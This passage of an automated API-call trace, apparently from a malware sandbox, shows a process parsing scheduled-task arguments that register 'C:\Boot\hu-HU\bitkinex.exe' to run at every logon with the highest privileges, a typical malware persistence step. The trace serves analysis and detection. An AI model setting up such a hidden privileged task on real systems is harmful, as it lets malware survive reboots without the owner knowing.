(dwErrCode=0x490) [0062.111] SetLastError (dwErrCode=0x490) [0062.111] SetLastError (dwErrCode=0x0) [0062.111] lstrlenW (lpString="/sc") returned 3 [0062.111] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0062.111] SetLastError (dwErrCode=0x490) [0062.111] SetLastError (dwErrCode=0x0) [0062.111] lstrlenW (lpString="/sc") returned 3 [0062.111] GetProcessHeap () returned 0x170000 [0062.111] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8) returned 0x18c390 [0062.111] GetProcessHeap () returned 0x170000 [0062.111] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd70 [0062.111] SetLastError (dwErrCode=0x0) [0062.111] SetLastError (dwErrCode=0x0) [0062.111] lstrlenW (lpString="ONLOGON") returned 7 [0062.111] lstrlenW (lpString="-/") returned 2 [0062.111] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0062.111] SetLastError (dwErrCode=0x490) [0062.111] SetLastError (dwErrCode=0x490) [0062.111] SetLastError (dwErrCode=0x0) [0062.111] lstrlenW (lpString="ONLOGON") returned 7 [0062.111] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0062.111] SetLastError (dwErrCode=0x490) [0062.111] SetLastError (dwErrCode=0x0) [0062.111] lstrlenW (lpString="ONLOGON") returned 7 [0062.111] GetProcessHeap () returned 0x170000 [0062.115] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x10) returned 0x18c3b0 [0062.115] GetProcessHeap () returned 0x170000 [0062.115] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cda0 [0062.115] SetLastError (dwErrCode=0x0) [0062.115] SetLastError (dwErrCode=0x0) [0062.115] lstrlenW (lpString="/tr") returned 3 [0062.115] lstrlenW (lpString="-/") returned 2 [0062.115] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.115] lstrlenW (lpString="?") returned 1 [0062.115] lstrlenW (lpString="?") returned 1 [0062.115] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.115] lstrlenW (lpString="tr") returned 2 [0062.115] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.115] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|?|") returned 3 [0062.115] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tr|") returned 4 [0062.115] lstrlenW (lpString="|?|") returned 3 [0062.115] lstrlenW (lpString="|tr|") returned 4 [0062.115] SetLastError (dwErrCode=0x490) [0062.115] lstrlenW (lpString="create") returned 6 [0062.115] lstrlenW (lpString="create") returned 6 [0062.115] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.115] lstrlenW (lpString="tr") returned 2 [0062.115] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.115] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|create|") returned 8 [0062.115] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tr|") returned 4 [0062.115] lstrlenW (lpString="|create|") returned 8 [0062.116] lstrlenW (lpString="|tr|") returned 4 [0062.116] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0062.116] SetLastError (dwErrCode=0x490) [0062.116] lstrlenW (lpString="delete") returned 6 [0062.116] lstrlenW (lpString="delete") returned 6 [0062.116] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.116] lstrlenW (lpString="tr") returned 2 [0062.116] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.116] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|delete|") returned 8 [0062.116] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tr|") returned 4 [0062.116] lstrlenW (lpString="|delete|") returned 8 [0062.116] lstrlenW (lpString="|tr|") returned 4 [0062.116] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0062.116] SetLastError (dwErrCode=0x490) [0062.116] lstrlenW (lpString="query") returned 5 [0062.116] lstrlenW (lpString="query") returned 5 [0062.116] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.116] lstrlenW (lpString="tr") returned 2 [0062.116] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.116] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|query|") returned 7 [0062.116] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tr|") returned 4 [0062.116] lstrlenW (lpString="|query|") returned 7 [0062.116] lstrlenW (lpString="|tr|") returned 4 [0062.116] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0062.116] SetLastError (dwErrCode=0x490) [0062.116] lstrlenW (lpString="change") returned 6 [0062.116] lstrlenW (lpString="change") returned 6 [0062.116] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.116] lstrlenW (lpString="tr") returned 2 [0062.116] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.117] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|change|") returned 8 [0062.117] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tr|") returned 4 [0062.117] lstrlenW (lpString="|change|") returned 8 [0062.117] lstrlenW (lpString="|tr|") returned 4 [0062.117] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0062.117] SetLastError (dwErrCode=0x490) [0062.117] lstrlenW (lpString="run") returned 3 [0062.117] lstrlenW (lpString="run") returned 3 [0062.117] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.117] lstrlenW (lpString="tr") returned 2 [0062.117] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.117] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|run|") returned 5 [0062.117] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tr|") returned 4 [0062.117] lstrlenW (lpString="|run|") returned 5 [0062.117] lstrlenW (lpString="|tr|") returned 4 [0062.117] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0062.117] SetLastError (dwErrCode=0x490) [0062.117] lstrlenW (lpString="end") returned 3 [0062.117] lstrlenW (lpString="end") returned 3 [0062.117] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.117] lstrlenW (lpString="tr") returned 2 [0062.117] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.117] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|end|") returned 5 [0062.117] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tr|") returned 4 [0062.117] lstrlenW (lpString="|end|") returned 5 [0062.117] lstrlenW (lpString="|tr|") returned 4 [0062.117] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0062.117] SetLastError (dwErrCode=0x490) [0062.117] lstrlenW (lpString="showsid") returned 7 [0062.117] lstrlenW (lpString="showsid") returned 7 [0062.117] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.118] lstrlenW (lpString="tr") returned 2 [0062.118] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.118] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|showsid|") returned 9 [0062.118] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tr|") returned 4 [0062.118] lstrlenW (lpString="|showsid|") returned 9 [0062.118] lstrlenW (lpString="|tr|") returned 4 [0062.118] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0062.118] SetLastError (dwErrCode=0x490) [0062.118] SetLastError (dwErrCode=0x490) [0062.118] SetLastError (dwErrCode=0x0) [0062.118] lstrlenW (lpString="/tr") returned 3 [0062.118] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0062.118] SetLastError (dwErrCode=0x490) [0062.118] SetLastError (dwErrCode=0x0) [0062.118] lstrlenW (lpString="/tr") returned 3 [0062.118] GetProcessHeap () returned 0x170000 [0062.118] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8) returned 0x18c3d0 [0062.118] GetProcessHeap () returned 0x170000 [0062.118] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cdd0 [0062.118] SetLastError (dwErrCode=0x0) [0062.118] SetLastError (dwErrCode=0x0) [0062.118] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.118] lstrlenW (lpString="-/") returned 2 [0062.118] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0062.118] SetLastError (dwErrCode=0x490) [0062.118] SetLastError (dwErrCode=0x490) [0062.118] SetLastError (dwErrCode=0x0) [0062.118] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.118] StrChrIW (lpStart="'C:\\Boot\\hu-HU\\bitkinex.exe'", wMatch=0x3a) returned=":\\Boot\\hu-HU\\bitkinex.exe'" [0062.118] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.118] GetProcessHeap () returned 0x170000 [0062.118] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18c3f0 [0062.119] _memicmp (_Buf1=0x18c3f0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.119] GetProcessHeap () returned 0x170000 [0062.119] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18c410 [0062.119] GetProcessHeap () returned 0x170000 [0062.119] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18d600 [0062.119] _memicmp (_Buf1=0x18d600, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.119] GetProcessHeap () returned 0x170000 [0062.119] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x3c) returned 0x189430 [0062.119] SetLastError (dwErrCode=0x7a) [0062.119] SetLastError (dwErrCode=0x0) [0062.119] SetLastError (dwErrCode=0x0) [0062.119] lstrlenW (lpString="'C") returned 2 [0062.119] lstrlenW (lpString="-/") returned 2 [0062.119] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0062.119] SetLastError (dwErrCode=0x490) [0062.119] SetLastError (dwErrCode=0x490) [0062.119] SetLastError (dwErrCode=0x0) [0062.119] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.119] GetProcessHeap () returned 0x170000 [0062.119] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x3a) returned 0x189480 [0062.119] GetProcessHeap () returned 0x170000 [0062.119] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce00 [0062.119] SetLastError (dwErrCode=0x0) [0062.119] SetLastError (dwErrCode=0x0) [0062.119] lstrlenW (lpString="/rl") returned 3 [0062.119] lstrlenW (lpString="-/") returned 2 [0062.119] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.119] lstrlenW (lpString="?") returned 1 [0062.119] lstrlenW (lpString="?") returned 1 [0062.119] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.119] lstrlenW (lpString="rl") returned 2 [0062.119] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.119] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|?|") returned 3 [0062.120] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|rl|") returned 4 [0062.120] lstrlenW (lpString="|?|") returned 3 [0062.120] lstrlenW (lpString="|rl|") returned 4 [0062.120] SetLastError (dwErrCode=0x490) [0062.120] lstrlenW (lpString="create") returned 6 [0062.120] lstrlenW (lpString="create") returned 6 [0062.120] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.120] lstrlenW (lpString="rl") returned 2 [0062.120] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.120] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|create|") returned 8 [0062.120] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|rl|") returned 4 [0062.120] lstrlenW (lpString="|create|") returned 8 [0062.120] lstrlenW (lpString="|rl|") returned 4 [0062.120] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0062.120] SetLastError (dwErrCode=0x490) [0062.120] lstrlenW (lpString="delete") returned 6 [0062.120] lstrlenW (lpString="delete") returned 6 [0062.120] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.120] lstrlenW (lpString="rl") returned 2 [0062.120] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.120] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|delete|") returned 8 [0062.120] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|rl|") returned 4 [0062.120] lstrlenW (lpString="|delete|") returned 8 [0062.120] lstrlenW (lpString="|rl|") returned 4 [0062.120] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0062.120] SetLastError (dwErrCode=0x490) [0062.120] lstrlenW (lpString="query") returned 5 [0062.120] lstrlenW (lpString="query") returned 5 [0062.120] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.121] lstrlenW (lpString="rl") returned 2 [0062.121] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.121] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|query|") returned 7 [0062.121] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|rl|") returned 4 [0062.121] lstrlenW (lpString="|query|") returned 7 [0062.121] lstrlenW (lpString="|rl|") returned 4 [0062.121] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0062.121] SetLastError (dwErrCode=0x490) [0062.121] lstrlenW (lpString="change") returned 6 [0062.121] lstrlenW (lpString="change") returned 6 [0062.121] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.121] lstrlenW (lpString="rl") returned 2 [0062.121] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.121] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|change|") returned 8 [0062.121] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|rl|") returned 4 [0062.121] lstrlenW (lpString="|change|") returned 8 [0062.121] lstrlenW (lpString="|rl|") returned 4 [0062.121] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0062.121] SetLastError (dwErrCode=0x490) [0062.121] lstrlenW (lpString="run") returned 3 [0062.121] lstrlenW (lpString="run") returned 3 [0062.121] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.121] lstrlenW (lpString="rl") returned 2 [0062.121] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.121] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|run|") returned 5 [0062.121] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|rl|") returned 4 [0062.121] lstrlenW (lpString="|run|") returned 5 [0062.121] lstrlenW (lpString="|rl|") returned 4 [0062.121] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0062.121] SetLastError (dwErrCode=0x490) [0062.121] lstrlenW (lpString="end") returned 3 [0062.122] lstrlenW (lpString="end") returned 3 [0062.122] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.122] lstrlenW (lpString="rl") returned 2 [0062.122] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.122] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|end|") returned 5 [0062.122] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|rl|") returned 4 [0062.122] lstrlenW (lpString="|end|") returned 5 [0062.122] lstrlenW (lpString="|rl|") returned 4 [0062.122] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0062.122] SetLastError (dwErrCode=0x490) [0062.122] lstrlenW (lpString="showsid") returned 7 [0062.122] lstrlenW (lpString="showsid") returned 7 [0062.122] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.122] lstrlenW (lpString="rl") returned 2 [0062.122] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.122] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|showsid|") returned 9 [0062.122] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|rl|") returned 4 [0062.122] lstrlenW (lpString="|showsid|") returned 9 [0062.122] lstrlenW (lpString="|rl|") returned 4 [0062.122] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0062.122] SetLastError (dwErrCode=0x490) [0062.122] SetLastError (dwErrCode=0x490) [0062.122] SetLastError (dwErrCode=0x0) [0062.122] lstrlenW (lpString="/rl") returned 3 [0062.122] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0062.122] SetLastError (dwErrCode=0x490) [0062.122] SetLastError (dwErrCode=0x0) [0062.122] lstrlenW (lpString="/rl") returned 3 [0062.122] GetProcessHeap () returned 0x170000 [0062.122] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8) returned 0x18ddd0 [0062.123] GetProcessHeap () returned 0x170000 [0062.123] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce30 [0062.123] SetLastError (dwErrCode=0x0) [0062.123] SetLastError (dwErrCode=0x0) [0062.123] lstrlenW (lpString="HIGHEST") returned 7 [0062.123] lstrlenW (lpString="-/") returned 2 [0062.123] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0062.123] SetLastError (dwErrCode=0x490) [0062.123] SetLastError (dwErrCode=0x490) [0062.123] SetLastError (dwErrCode=0x0) [0062.123] lstrlenW (lpString="HIGHEST") returned 7 [0062.123] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0062.123] SetLastError (dwErrCode=0x490) [0062.123] SetLastError (dwErrCode=0x0) [0062.123] lstrlenW (lpString="HIGHEST") returned 7 [0062.123] GetProcessHeap () returned 0x170000 [0062.123] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x10) returned 0x18d620 [0062.123] GetProcessHeap () returned 0x170000 [0062.123] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce60 [0062.123] SetLastError (dwErrCode=0x0) [0062.123] SetLastError (dwErrCode=0x0) [0062.123] lstrlenW (lpString="/f") returned 2 [0062.123] lstrlenW (lpString="-/") returned 2 [0062.123] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.123] lstrlenW (lpString="?") returned 1 [0062.123] lstrlenW (lpString="?") returned 1 [0062.123] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.123] lstrlenW (lpString="f") returned 1 [0062.123] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.123] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|?|") returned 3 [0062.123] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|f|") returned 3 [0062.123] lstrlenW (lpString="|?|") returned 3 [0062.123] lstrlenW (lpString="|f|") returned 3 [0062.123] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0062.124] SetLastError (dwErrCode=0x490) [0062.124] lstrlenW (lpString="create") returned 6 [0062.124] lstrlenW (lpString="create") returned 6 [0062.124] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.124] lstrlenW (lpString="f") returned 1 [0062.124] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.124] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|create|") returned 8 [0062.124] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|f|") returned 3 [0062.124] lstrlenW (lpString="|create|") returned 8 [0062.124] lstrlenW (lpString="|f|") returned 3 [0062.124] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0062.124] SetLastError (dwErrCode=0x490) [0062.124] lstrlenW (lpString="delete") returned 6 [0062.124] lstrlenW (lpString="delete") returned 6 [0062.124] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.124] lstrlenW (lpString="f") returned 1 [0062.124] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.124] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|delete|") returned 8 [0062.124] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|f|") returned 3 [0062.124] lstrlenW (lpString="|delete|") returned 8 [0062.124] lstrlenW (lpString="|f|") returned 3 [0062.124] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0062.124] SetLastError (dwErrCode=0x490) [0062.124] lstrlenW (lpString="query") returned 5 [0062.124] lstrlenW (lpString="query") returned 5 [0062.124] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.124] lstrlenW (lpString="f") returned 1 [0062.124] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.124] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|query|") returned 7 [0062.124] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|f|") returned 3 [0062.125] lstrlenW (lpString="|query|") returned 7 [0062.125] lstrlenW (lpString="|f|") returned 3 [0062.125] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0062.125] SetLastError (dwErrCode=0x490) [0062.125] lstrlenW (lpString="change") returned 6 [0062.125] lstrlenW (lpString="change") returned 6 [0062.125] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.125] lstrlenW (lpString="f") returned 1 [0062.125] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.125] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|change|") returned 8 [0062.125] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|f|") returned 3 [0062.125] lstrlenW (lpString="|change|") returned 8 [0062.125] lstrlenW (lpString="|f|") returned 3 [0062.125] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0062.125] SetLastError (dwErrCode=0x490) [0062.125] lstrlenW (lpString="run") returned 3 [0062.125] lstrlenW (lpString="run") returned 3 [0062.125] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.125] lstrlenW (lpString="f") returned 1 [0062.125] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.125] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|run|") returned 5 [0062.125] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|f|") returned 3 [0062.125] lstrlenW (lpString="|run|") returned 5 [0062.125] lstrlenW (lpString="|f|") returned 3 [0062.125] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0062.125] SetLastError (dwErrCode=0x490) [0062.125] lstrlenW (lpString="end") returned 3 [0062.125] lstrlenW (lpString="end") returned 3 [0062.125] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.125] lstrlenW (lpString="f") returned 1 [0062.126] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.126] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|end|") returned 5 [0062.126] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|f|") returned 3 [0062.126] lstrlenW (lpString="|end|") returned 5 [0062.126] lstrlenW (lpString="|f|") returned 3 [0062.126] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0062.126] SetLastError (dwErrCode=0x490) [0062.126] lstrlenW (lpString="showsid") returned 7 [0062.126] lstrlenW (lpString="showsid") returned 7 [0062.126] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.126] lstrlenW (lpString="f") returned 1 [0062.126] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.126] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|showsid|") returned 9 [0062.126] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|f|") returned 3 [0062.126] lstrlenW (lpString="|showsid|") returned 9 [0062.126] lstrlenW (lpString="|f|") returned 3 [0062.126] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0062.126] SetLastError (dwErrCode=0x490) [0062.126] SetLastError (dwErrCode=0x490) [0062.126] SetLastError (dwErrCode=0x0) [0062.126] lstrlenW (lpString="/f") returned 2 [0062.126] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0062.126] SetLastError (dwErrCode=0x490) [0062.126] SetLastError (dwErrCode=0x0) [0062.126] lstrlenW (lpString="/f") returned 2 [0062.126] GetProcessHeap () returned 0x170000 [0062.126] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x6) returned 0x18ddf0 [0062.126] GetProcessHeap () returned 0x170000 [0062.126] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce90 [0062.126] SetLastError (dwErrCode=0x0) [0062.126] GetProcessHeap () returned 0x170000 [0062.126] GetProcessHeap () returned 0x170000 [0062.126] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2e0) returned 1 [0062.127] GetProcessHeap () returned 0x170000 [0062.127] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c2e0) returned 0x8 [0062.127] HeapFree (in: hHeap=0x170000, 